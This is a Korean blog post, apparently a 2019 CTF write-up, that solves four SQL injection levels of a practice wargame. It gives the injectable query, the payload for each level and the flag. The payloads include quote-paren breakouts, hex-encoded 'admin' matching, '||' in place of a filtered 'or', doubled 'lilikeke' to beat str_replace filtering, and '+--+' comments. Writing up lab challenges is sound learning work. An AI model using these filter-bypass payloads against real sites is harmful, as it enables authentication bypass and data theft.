-
[PlayTheWeb] SQL InjectionCTF write_up/기타 CTF 2019. 9. 18. 02:04
추석때 열렸던 PlayTheWeb Wargame 였던것 같다.
시간이 없어서 풀지 못했지만 친절한 Alona님께서 계속 Wargame으로 열어 주신다고 하셔서 풀수 있었습니다.
1번문제 입니다. http://ptw.alonalab.kr/ctf/sql1.php
이전 까지는 소스코드를 제공 받는 sql injection 만 했었지만 이번 문제는 필터링 값을 알수 가 없습니다.
일단 기본적인 쿼리문은 다음과 같습니다.
select id from users where id=guest and pw=('$_GET['pw']') 입니다.
거의 아무런 필터링이 없는것 같아 보여서 아래와 같은 쿼리문으로 해결 했습니다.
sql1.php?pw=') or id like 0x61646d696e%23 으로 페이로드를 넘겨 주면 클리어가 됩니다.
위의 페이로드를 넘기면 쿼리문은 아래와 같이 변경 됩니다.
select id from users where id=guest and pw=('') or id like 0x61646d696e%23')
2번 문제 입니다. http://ptw.alonalab.kr/ctf/MXEoCtNmAk.php
이번엔 필터링이 좀 걸려있는 것 같습니다.
or를 입력 하면 필터링에 걸리네요! ||로 바꾸겠습니다.
MXEoCtNmAk.php?pw=') || id like 0x61646d696e%23
3번 문제 입니다. http://ptw.alonalab.kr/ctf/cF8D1.php
2번처럼 똑같이 페이로드를 전송해보겠습니다.
cF8D1.php?pw=') || id like 0x61646d696e%23
.... Clear..!
4번 문제 입니다. http://ptw.alonalab.kr/ctf/AohZV.php
2,3번과 똑같이 입력해 보겠습니다.
AohZV.php?pw=') || id like 0x61646d696e%23
like 와 #이 필터링 되는 것 같습니다.
허나 다행인 점은 like를 필터링 하는 것이 preg_match 와 같은 필터링이 아닌 str_replace 함수로 대체 하는 필터링인것을 확인 할 수 있었습니다.
그래서 아래와 같은 페이로드를 전송하면 다음과 같이 쿼리에 들어갑니다.
AohZV.php?pw=') || id lilikeke 0x61646d696e%23
like가 먹힙니다!
이제 주석만 해결하면 되는데 %23 인 # 대신 +--+ 를 이용해서 주석 처리 하겠습니다.
AohZV.php?pw=') || id lilikeke 0x61646d696e+--+
Flag : ptw_{wWmLb}
'CTF write_up > 기타 CTF' 카테고리의 다른 글
[SEC-T CTF][Forensic] Mycat (0) 2019.09.20 [PlayTheWeb] XSS (0) 2019.09.18 [Inc0gnito CTF][Forensic] Packet_Forensics (0) 2019.08.26 [Inc0gnito CTF][Forensic] wh3re_is_my_f149 (0) 2019.08.26 [Inc0gnito CTF][Cryptography] 3AsYCrACk_M3 (0) 2019.08.26